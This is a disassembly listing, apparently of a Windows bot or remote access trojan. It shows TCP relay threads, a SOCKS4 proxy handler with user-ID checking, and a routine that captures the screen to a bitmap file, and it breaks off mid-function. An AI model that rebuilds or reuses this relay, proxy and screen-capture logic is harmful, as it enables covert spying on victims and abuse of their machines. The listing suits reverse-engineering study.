lea eax, [ebp+var_14C]
push eax
call ds:dword_43C658 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov ds:dword_4397F8[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_407243
push 8
call sub_416F90
add esp, 150h
cmp eax, ebx
jnz short loc_407A3A
mov esi, offset dword_43A798
push esi
call ds:dword_4230CC ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4230C8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_407A3A
lea eax, [ebp+Source]
push offset unk_42A4F0 ; Format
push eax ; Dest
call _sprintf
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407A24
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_40D670
add esp, 14h
loc_407A24: ; CODE XREF: sub_40796C+99j
lea eax, [ebp+Source]
push eax
call sub_40BF6F
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_407A3A: ; CODE XREF: sub_40796C+63j
; sub_40796C+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_423060
mov edi, ebx
mov ds:dword_4397FC[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407B07
loc_407A58: ; CODE XREF: sub_40796C+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+Source]
push offset unk_42A4A8 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 8 ; int
push eax ; Source
call sub_416D48
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov ds:dword_442074[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_407758
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_407AD2
loc_407AC7: ; CODE XREF: sub_40796C+164j
cmp [ebp+var_4], ebx
jnz short loc_407AF9
push 1Eh
call esi ; Sleep
jmp short loc_407AC7
; ---------------------------------------------------------------------------
loc_407AD2: ; CODE XREF: sub_40796C+159j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset unk_42A45C ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_40BF6F
add esp, 10h
loc_407AF9: ; CODE XREF: sub_40796C+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_407A58
loc_407B07: ; CODE XREF: sub_40796C+E6j
cmp [ebp+var_30], ebx
jz loc_407BB1
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_407B1C: ; CODE XREF: sub_40796C+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, ds:dword_4397F8[eax*8]
push eax
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset unk_42A408 ; Format
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407B6A
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_40D670
add esp, 14h
loc_407B6A: ; CODE XREF: sub_40796C+1DFj
lea eax, [ebp+Source]
push eax
call sub_40BF6F
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov ds:dword_4397FC[eax*8], ebx
call esi ; Sleep
push 8
call sub_416F90
cmp eax, 1
pop ecx
jnz short loc_407BA1
push offset dword_43A798
call ds:dword_4230CC ; RtlDeleteCriticalSection
loc_407BA1: ; CODE XREF: sub_40796C+228j
push [ebp+var_2C]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
loc_407BB1: ; CODE XREF: sub_40796C+19Ej
; sub_40796C+25Dj
mov eax, [ebp+var_2C]
cmp ds:dword_4397FC[eax*8], 1
jnz loc_407B1C
push 7D0h
call esi ; Sleep
jmp short loc_407BB1
sub_40796C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BCB proc near ; DATA XREF: sub_40EE51+36F1o
Source = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+Dst]
push ebx ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_40]
call ds:dword_43C618 ; htons
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call ds:dword_43C698 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407D2F
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov ds:dword_44207C[eax], ebx
call ds:dword_43C534 ; WSAAsyncSelect
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_43C644 ; bind
test eax, eax
jnz loc_407D2F
push 0Ah
push ebx
call ds:dword_43C640 ; listen
test eax, eax
jnz loc_407D2F
loc_407C75: ; CODE XREF: sub_407BCB+BEj
; sub_407BCB+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call ds:dword_43C6AC ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407C75
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset unk_42A584 ; Format
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 10h ; int
push eax ; Source
call sub_416D48
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov ds:dword_442074[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_407D53
push esi
push esi
call ds:dword_42309C
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov ds:dword_442084[ecx], eax
jz short loc_407D1A
loc_407D07: ; CODE XREF: sub_407BCB+14Dj
cmp [ebp+var_2C], esi
jnz loc_407C75
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_407D07
; ---------------------------------------------------------------------------
loc_407D1A: ; CODE XREF: sub_407BCB+13Aj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset unk_42A538 ; Format
call sub_40BFE3
pop ecx
pop ecx
jmp short loc_407D32
; ---------------------------------------------------------------------------
loc_407D2F: ; CODE XREF: sub_407BCB+61j
; sub_407BCB+93j ...
mov edi, [ebp+arg_0]
loc_407D32: ; CODE XREF: sub_407BCB+162j
push edi
call ds:dword_43C6B0 ; closesocket
push ebx
call ds:dword_43C6B0 ; closesocket
push [ebp+var_3C]
call sub_417064
pop ecx
push esi
call ds:dword_423050
pop edi
pop esi
pop ebx
sub_407BCB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D53 proc near ; DATA XREF: sub_407BCB+11Co
var_1344 = byte ptr -1344h
Source = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
Dst = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call ds:dword_43C698 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_407F09
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call ds:dword_43C618 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call ds:dword_43C658 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_407DE3
lea eax, [ebp+var_13C]
push eax
call ds:dword_43C69C ; gethostbyname
jmp short loc_407DF1
; ---------------------------------------------------------------------------
loc_407DE3: ; CODE XREF: sub_407D53+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_43C5D0 ; gethostbyaddr
loc_407DF1: ; CODE XREF: sub_407D53+8Ej
cmp eax, edi
jz loc_407F09
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+Dst]
push eax
push esi
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_407F09
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset unk_42A62C ; Format
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Source]
push 10h ; int
push eax ; Source
call sub_416D48
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_44207C[ebx]
mov ds:dword_442074[eax], ecx
add esp, 20h
mov ecx, [esi]
mov ds:dword_442080[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_407F3A
push edi
push edi
call ds:dword_42309C
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov ds:dword_442084[ecx], eax
jz short loc_407EF6
loc_407EA3: ; CODE XREF: sub_407D53+15Dj
cmp [ebp+var_20], edi
jnz short loc_407EB2
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_407EA3
; ---------------------------------------------------------------------------
loc_407EB2: ; CODE XREF: sub_407D53+153j
mov ebx, 1000h
loc_407EB7: ; CODE XREF: sub_407D53+19Fj
push ebx ; Size
lea eax, [ebp+var_1344]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call ds:dword_43C630 ; recv
cmp eax, edi
jle short loc_407F09
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407EB7
jmp short loc_407F09
; ---------------------------------------------------------------------------
loc_407EF6: ; CODE XREF: sub_407D53+14Ej
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset unk_42A5DC ; Format
call sub_40BFE3
pop ecx
pop ecx
loc_407F09: ; CODE XREF: sub_407D53+44j
; sub_407D53+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push ds:dword_44207C[eax]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call ds:dword_43C6B0 ; closesocket
push [ebp+var_4]
call sub_417064
pop ecx
push edi
call ds:dword_423050
pop edi
pop esi
pop ebx
sub_407D53 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F3A proc near ; DATA XREF: sub_407D53+130o
Dst = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407F71: ; CODE XREF: sub_407F3A+7Cj
push edi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 0
push edi
push eax
push ds:dword_442080[esi]
call ds:dword_43C630 ; recv
test eax, eax
jle short loc_407FB8
push 0
push eax
lea eax, [ebp+Dst]
push eax
push ds:dword_44207C[esi]
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407F71
loc_407FB8: ; CODE XREF: sub_407F3A+61j
push ds:dword_442080[esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+var_14]
call sub_417064
pop ecx
push 0
call ds:dword_423050
pop edi
pop esi
sub_407F3A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407FD7 proc near ; DATA XREF: sub_40EE51+5E5Do
Source = byte ptr -2D4h
var_D4 = dword ptr -0D4h
Str = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_40]
call ds:dword_43C618 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call ds:dword_43C698 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov ds:dword_44207C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call ds:dword_43C644 ; bind
test eax, eax
jnz loc_408179
push 0Ah
push edi
call ds:dword_43C640 ; listen
test eax, eax
jnz loc_408179
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AEDB
pop ecx
push eax
lea eax, [ebp+Source]
push offset unk_42A75C ; Format
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_4080B2
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_40D670
add esp, 14h
loc_4080B2: ; CODE XREF: sub_407FD7+B9j
; sub_407FD7+172j ...
lea eax, [ebp+Source]
push eax
call sub_40BF6F
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call ds:dword_43C6AC ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset unk_42A708 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 11h ; int
push eax ; Source
call sub_416D48
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov ds:dword_442074[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_4081DC
push esi
push esi
call ds:dword_42309C
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov ds:dword_442084[ecx], eax
jz short loc_408159
loc_408146: ; CODE XREF: sub_407FD7+180j
cmp [ebp+var_28], esi
jnz loc_4080B2
push 5
call ds:dword_423060 ; Sleep
jmp short loc_408146
; ---------------------------------------------------------------------------
loc_408159: ; CODE XREF: sub_407FD7+16Dj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset unk_42A6C0 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4080B2
; ---------------------------------------------------------------------------
loc_408179: ; CODE XREF: sub_407FD7+7Bj
; sub_407FD7+8Cj
push edi
call ds:dword_43C6B0 ; closesocket
push [ebp+var_40]
lea eax, [ebp+Source]
push offset unk_42A680 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4081BC
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_40D670
add esp, 14h
loc_4081BC: ; CODE XREF: sub_407FD7+1C3j
lea eax, [ebp+Source]
push eax
call sub_40BF6F
push [ebp+var_3C]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
pop edi
pop esi
pop ebx
sub_407FD7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4081DC proc near ; DATA XREF: sub_407FD7+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
Dst = byte ptr -4C8h
var_C8 = byte ptr -0C8h
Str2 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_44207C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call ds:dword_43C600 ; select
test eax, eax
jnz short loc_40825D
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
loc_40825D: ; CODE XREF: sub_4081DC+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call ds:dword_43C630 ; recv
test eax, eax
jg short loc_40828E
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
loc_40828E: ; CODE XREF: sub_4081DC+98j
cmp [ebp+var_4D0], 4
jnz loc_408488
cmp [ebp+var_4CF], 1
jnz loc_408488
cmp [ebp+Str2], bl
jz short loc_408324
lea eax, [ebp+Str2]
push eax ; Str2
lea eax, [ebp+Dst]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_408324
lea eax, [ebp+Str2]
push eax
lea eax, [ebp+Dst]
push eax ; Args
push offset unk_42A830 ; Format
call sub_40BFE3
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call _memset
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_43C668 ; send
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
loc_408324: ; CODE XREF: sub_4081DC+CFj
; sub_4081DC+E5j
push 10h ; Size
lea eax, [ebp+var_18]
push ebx ; Val
push eax ; Dst
call _memset
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call ds:dword_43C698 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4083BC
call ds:dword_43C5AC ; WSAGetLastError
push eax ; Args
push offset unk_42A7E4 ; Format
call sub_40BFE3
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_43C668 ; send
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
loc_4083BC: ; CODE XREF: sub_4081DC+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40842B
call ds:dword_43C5AC ; WSAGetLastError
push eax ; Args
push offset unk_42A794 ; Format
call sub_40BFE3
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_43C668 ; send
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
loc_40842B: ; CODE XREF: sub_4081DC+1F0j
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call _memset
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_43C668 ; send
push dword ptr [esi]
push edi
call sub_4084A0
pop ecx
pop ecx
push edi
call ds:dword_43C6B0 ; closesocket
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
loc_408488: ; CODE XREF: sub_4081DC+B9j
; sub_4081DC+C6j
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
push [ebp+arg_0]
call sub_417064
pop ecx
push ebx
call ds:dword_423050
sub_4081DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084A0 proc near ; CODE XREF: sub_4081DC+286p
Dst = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4084B6: ; CODE XREF: sub_4084A0+C5j
; sub_4084A0+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4084CE: ; CODE XREF: sub_4084A0+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4084DE
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4084CE
loc_4084DE: ; CODE XREF: sub_4084A0+33j
cmp ecx, 1
jnz short loc_4084F3
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_4084F3: ; CODE XREF: sub_4084A0+41j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call ds:dword_43C600 ; select
lea eax, [ebp+var_104]
push eax
push ebx
call ds:dword_43C510 ; __WSAFDIsSet
test eax, eax
jz short loc_408553
push edi
lea eax, [ebp+Dst]
push esi
push eax
push ebx
call ds:dword_43C630 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40859B
push edi
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40859B
loc_408553: ; CODE XREF: sub_4084A0+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call ds:dword_43C510 ; __WSAFDIsSet
test eax, eax
jz loc_4084B6
push edi
lea eax, [ebp+Dst]
push esi
push eax
push [ebp+arg_0]
call ds:dword_43C630 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40859B
push edi
push eax
lea eax, [ebp+Dst]
push eax
push ebx
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4084B6
loc_40859B: ; CODE XREF: sub_4084A0+9Aj
; sub_4084A0+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4084A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085A0 proc near ; CODE XREF: sub_40EE51+45B1p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call ds:dword_43C604 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4087D4
push 8
push edi
call ds:dword_43C620 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call ds:dword_43C620 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call ds:dword_43C620 ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_408602
push 18h
push edi
call ds:dword_43C620 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_408604
; ---------------------------------------------------------------------------
loc_408602: ; CODE XREF: sub_4085A0+50j
xor ebx, ebx
loc_408604: ; CODE XREF: sub_4085A0+60j
push edi
call ds:dword_43C664 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4087B9
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call ds:dword_43C65C ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4087C4
push eax
push [ebp+var_4]
call ds:dword_43C4F4 ; SelectObject
cmp eax, esi
jz loc_4087C4
cmp eax, 0FFFFFFFFh
jz loc_4087C4
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call ds:dword_43C660 ; BitBlt
test eax, eax
jz loc_4087C4
cmp ebx, esi
jz short loc_4086C1
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call ds:dword_43C548 ; GetDIBColorTable
mov ebx, eax
loc_4086C1: ; CODE XREF: sub_4085A0+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call ds:dword_423080
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
